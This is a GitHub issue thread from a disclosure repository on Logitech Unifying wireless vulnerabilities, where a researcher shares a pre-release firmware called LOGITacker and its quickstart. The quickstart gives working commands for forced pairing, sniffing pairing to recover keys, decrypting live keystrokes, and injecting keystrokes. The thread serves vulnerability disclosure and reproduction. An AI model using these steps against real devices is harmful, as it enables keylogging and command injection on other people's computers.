mame82 / UnifyingVulnsDisclosureRepo

Formerly private repository for discussion, knowledge- and code-sharing around new Unifying vulns, as announced on Twitter
154 stars 27 forks source link

reproducibility (LOGITacker pre-release for nRF52840 dongle) #2

Closed mame82 closed 5 years ago

mame82 commented 5 years ago

The code for mjackit(once uploaded) relies on a CrazyRadioPA dongle (nRF24LU1+) with a customized nrf-research-firmwarefrom here: https://github.com/mame82/nrf-research-firmware

If you don't have access to such a device, but could get hands on a Nordic Semiconductors nRF52840 dongle (no clone, not the MDK dongle) ... reach out to me. I consider providing a firmware (without source) which implements most of this stuff for testing purposes (LOGITacker).

RoganDawes commented 5 years ago

I have a nRF52840 dongle, wouldn't mind access to the firmware, please.

On Tue, Jun 4, 2019 at 11:44 AM mame82 notifications@github.com wrote:

The code for mjackit(once uploaded) relies on a CrazyRadioPA dongle (nRF24LU1+) with a customized nrf-research-firmwarefrom here: https://github.com/mame82/nrf-research-firmware

If you don't have access to such a device, but could get hands on a Nordic Semiconductors nRF52840 dongle (no clone, not the MDK dongle) ... reach out to me. I consider providing a firmware (without source) which implements most of this stuff for testing purposes (LOGITacker).

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub, or mute the thread.

mame82 commented 5 years ago

@RoganDawes link to LOGITacker firmware (work in progress):

https://github.com/mame82/tmp_sharing

Please tell me about your test results.

If there are positive results, public sharing is welcome (results, not firmware). Negative results should be addressed to me ;-)

mame82 commented 5 years ago

LOGITacker work in progress snapshot - QuickStart

This is work in progress, so most things are going to change in future.

The firmware could be flashed to pca10059 using "nRF Connect" programmer app.

It is a bare metal firmware (no softdevice).

If everything goes fine, the dongle exposes 4 USB interfaces:

Access to CLI:

screen /dev/ttyACMx 115200

... or Putty, with respective settings.

Note: Using screen, backspacehas to be replaced by CTRL+H

Relevant CLI commands

The CLI supports tab completition. Where already applied, this includes command completition with discovered/stored RF addresses of Unifying devices.

Promiscuous mode device discovery

discover run

Device management

list discovered devices

devices

Persistently store a device to flash (avoid the need to discover it

again, after power-cycle):

devices store save E2:C7:94:F2:C3

the command supports tab-comletition for discovered devices

list devices stored on flash

devices store list

restore a device from flash to device set in RAM

devices store load E2:C7:94:F2:C3

the command supports tab-comletition for discovered devices

Device sniffing

manual sniffing

enum passive E2:C7:94:F2:C3

the command supports tab-comletition for discovered devices

Passive enumeration updates device capabilities, according to received frames (f.e. a presenter sending plain keystrokes will be marked as plain injectible)

automatically switch from discovery to passive enum, once a device is discovered

discover onhit passive-enum

To move back to discovery mode:

discover run

To disable automatic mode switching

discover onhit continue

Active device enumeration

Active enumeration transmits to the (assumed) dongle address of the devices. It tries to discover all other available address prefixes (aka other device slots used by the dongle) and tests for plain keystroke injection capabilities (sends CAPS LOCK as plain injection and checks if LED output reports are produced). This test only succeeds for keyboards, as presenters don't receive LED reports (injection capability could be determined using passive enumeration in this case). Additionally, this mode send pairing requests to reachable RF addresses, in order to test for "forced pairing". This test currently produces false positives, as all dongles I tested respond to pairing requests. This includes the ones patched against this kind of attack ( forced pairing fails at a later stage of pairing). Active enumeration also checks which chip is used by the dongle (Nordic or TI) - this information is relevant for vulnerabilities related to PoC 3.

Active enumeration only works if the dongle is in range, which is an requirement for injection, anyways.

manual toggle of active enumeration

enum active E2:C7:94:F2:C3

the command supports tab-comletition for discovered devices

automatically switch from discovery to active enum, once a device is discovered

discover onhit active-enum

To move back to discovery mode:

discover run

To disable automatic mode switching

discover onhit continue

Pair a virtual device to a dongle in pairing mode

Currently, the virtual device couldn't be configured (hard coded). To test this, bring a Unifying dongle into pairing mode and run.

pairing run

Pair a virtual device to a dongle using forced pairing

An RF address discovered during active enumeration, is potentially vulnerable to forced pairing. Use the following command to force pai a virtual device for a given RF address (dongle doesn't need to be in pairing mode if vulnerable):

pairing run E2:C7:94:F2:C3

Sniff pairing (as demoed in PoC 1)

Run the following command

pairing sniff

Once a dongle in range is put into pairing mode, output like this should occur in the console:

... snip ...
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 62 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 62 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 8 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 8 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 8 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 35 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 35 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 35 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 65 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 65 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 14 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 14 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 14 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 41 
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: dongle on channel 41 
... snip ...

... this indicates that LOGITAcker is following the dongle across channels.

If the channel doesn't change for the debug output, this means that a device already paired to the dongle is currently connected (channel stays stable)

Now power-cycle the device which should be paired, if sniffing succeeds (success rate in isolated environment is about 70%), the output should look like this:

... snip ...
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF data received on channel 44
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF:  00 40 03 01 BC         |.@...   
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: PAIR SNIFF data received on channel 44
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF:  00 0F 06 02 03 38 1E 2D|.....8.-
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF:  9A C9                  |..      
<info> LOGITACKER_PAIRING_PARSER: Device name: K400 Plus
<info> LOGITACKER_PAIRING_PARSER: Device RF address: E2:C7:94:F2:C5
<info> LOGITACKER_PAIRING_PARSER: Device serial: 2D:9A:9F:E1
<info> LOGITACKER_PAIRING_PARSER: Device WPID: 0x404D
<info> LOGITACKER_PAIRING_PARSER: Device report types: 0x0000401E
<info> LOGITACKER_PAIRING_PARSER: Device usability info: 0x09
<info> LOGITACKER_PAIRING_PARSER: Dongle WPID: 0x8808
<info> LOGITACKER_PAIRING_PARSER: Device caps: 0x47
<info> LOGITACKER_PAIRING_PARSER: Device report types: 0x0000401E
<info> LOGITACKER_PAIRING_PARSER: Device raw key material:
<info> LOGITACKER_PAIRING_PARSER:  E2 C7 94 F2 40 4D 88 08|....@M..
<info> LOGITACKER_PAIRING_PARSER:  41 CE 08 F6 2F 1C 38 1E|A.../.8.
<info> LOGITACKER_PAIRING_PARSER: Device key:
<info> LOGITACKER_PAIRING_PARSER: ** REDACTED **
<info> LOGITACKER_PAIRING_PARSER: ** REDACTED **
<info> LOGITACKER_FLASH: FDS_EVENT_WRITE
<info> LOGITACKER_FLASH: Record ID:     0x0249
<info> LOGITACKER_FLASH: File ID:       0x1001
<info> LOGITACKER_FLASH: Record key:    0x1001
<info> LOGITACKER_FLASH: dongle which should be stored to flash exists, updating ...
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: device automatically stored to flash
<info> LOGITACKER_PROCESSOR_PAIR_SNIFF: Sniffed full pairing, moving on with passive enumeration for E2:C7:94:F2:C5
<info> LOGITACKER_RADIO: Channel hopping stopped
<warning> ESB_ILLEGALMOD: nrf_esb_set_mode unhandled mode 2
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: Entering passive enumeration mode for address E2:C7:94:F2:C5
<info> LOGITACKER_RADIO: Channel hopping stopped
<info> ESB_ILLEGALMOD: called nrf_esb_init with mode 4
<info> ESB_ILLEGALMOD: New proto 0, updating rf_addresses
<info> ESB_ILLEGALMOD: New proto 0, updating rf_addresses
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: listen on prefix C3 with pipe 1
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: listen on prefix 06 with pipe 2
... snip ...

Those messages pass by very fast, because LOGITacker ultimately switches back to passive enumeration, once a pairing is sniffed. The difference ... now encrypted keyboard reports are live decrypted. Output for a key press of HID_KEY_A looks something like this:

<info> app: Unifying RF frame: Encrypted keyboard, counter 73361F9D
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 D3 7C FF EF 3B 04 CA|..|..;..
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  9C 9D 73 36 1F 9D 00 00|..s6....
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 1C      |......  
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: Test decryption of keyboard payload:
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 04 00 00 00 00 00 C9|........
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: Key 1: HID_KEY_A
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: frame RX in passive enumeration mode (addr E2:C7:94:F2:C5, len: 22, ch idx 23, raw ch 74)
<info> app: Unifying RF frame: Encrypted keyboard, counter 73361F9E
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 D3 99 D3 78 25 E5 53|....x%.S
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  21 D7 73 36 1F 9E 00 00|!.s6....
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 8E      |......  
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: Test decryption of keyboard payload:
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 00 00 C9|........

*Note: Modifier keys aren't translated to human readable form currently, thus an uppercase A (with shift modifier) will be printed like this (modifier 0x02 for LEFT SHIFT):

... snip ...
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: frame RX in passive enumeration mode (addr E2:C7:94:F2:C5, len: 22, ch idx 23, raw ch 74)
<info> app: Unifying RF frame: Encrypted keyboard, counter 73361FA0
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 D3 CD 04 52 25 05 98|....R%..
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  F1 A9 73 36 1F A0 00 00|..s6....
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  00 00 00 00 00 46      |.....F  
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: Test decryption of keyboard payload:
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM:  02 04 00 00 00 00 00 C9|........
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: Key 1: HID_KEY_A
<info> LOGITACKER_PROCESSOR_PASIVE_ENUM: frame RX in passive enumeration mode (addr E2:C7:94:F2:C5, len: 22, ch idx 23, raw ch 74)
... snip ...

Devices discovered during sniffed pairing are automatically stored to flash, along with the keys. This means, if LOGITacker is power-cycled and the device address is spotted again on air The key will automatically be reloaded and applied to decrypt keyboard frames.

Injection

This is work in progress. Currently only German and US language layouts are supported. For the provided snapshot, German layout is hard coded (sorry, haven't implemented language selection command, yet).

If a device is known to accept plain keystroke injection (f.e. some presenters) keystrokes are injected plain. Encrypted keystroke injection, on the other hand, only works if the device key is known (could be accomplished by sniffing of pairing, as described). If the encryption key isn't known, the logic falls back to plain injection, but this wouldn't work.

The CLI commands for injection are subject of frequent changes, thus I give an example without further explanation:

LOGITacker (passive enum) $ inject target E2:C7:94:F2:C5 
parameter count 2
Trying to send keystrokes using address E2:C7:94:F2:C5
... snip...

LOGITacker (injection) $ inject press GUI r
<info> app: parsing 'GUI r' to HID key combo report:
... snip ...

LOGITacker (injection) $ inject delay 500
LOGITacker (injection) $ inject string notepad.exe
LOGITacker (injection) $ inject delay 500
LOGITacker (injection) $ inject press RETURN
... snip ....
LOGITacker (injection) $ inject delay 1000
LOGITacker (injection) $ inject string Hello World
LOGITacker (injection) $ inject list 
script start
0001: inject press GUI r
0002: inject delay 500
0003: inject string notepad.exe
0004: inject delay 500
0005: inject press RETURN
0006: inject delay 1000
0007: inject string Hello World
script end
<info> LOGITACKER_PROCESSOR_INJECT: No more elements to peek in ring buffer

LOGITacker (injection) $ inject execute 

<info> LOGITACKER_PROCESSOR_INJECT: process key-combo injection: GUI r
<info> LOGITACKER_KEYBOARD_MAP: Token 0: GUI
<info> LOGITACKER_KEYBOARD_MAP: Token 1: r
<info> LOGITACKER_DEVICES: GENERATING ENCRYPTED KEYBOARD FRAME
<info> TX_PAY_PROVIDER_PRESS_TO_KEYS: Updated TX payload (0):
<info> TX_PAY_PROVIDER_PRESS_TO_KEYS:  00 D3 B6 8E 98 04 7B 9C|......{.
<info> TX_PAY_PROVIDER_PRESS_TO_KEYS:  72 F1 73 36 1F A2 00 00|r.s6....
<info> TX_PAY_PROVIDER_PRESS_TO_KEYS:  00 00 00 00 00 69      |.....i  
<info> LOGITACKER: Injection processing resumed
<info> LOGITACKER_PROCESSOR_INJECT: TX'ed to E2:C7:94:F2:C5
<info> LOGITACKER_PROCESSOR_INJECT: TX_SUCCESS

... snip (lots of debug output ...

Note: XOR based injection without key knowledge (demoed in PoC 2) is currently not possible, because I removed the code which records the needed RF report sequence (needs to be reworked)

mame82 commented 5 years ago

@travisgoodspeed if you are interested, too give me a ping. I'll publish the source of (nrf52840 based) LOGITacker once all basic features are working

mame82 commented 5 years ago

LOGITacker was released in a seperate repisitory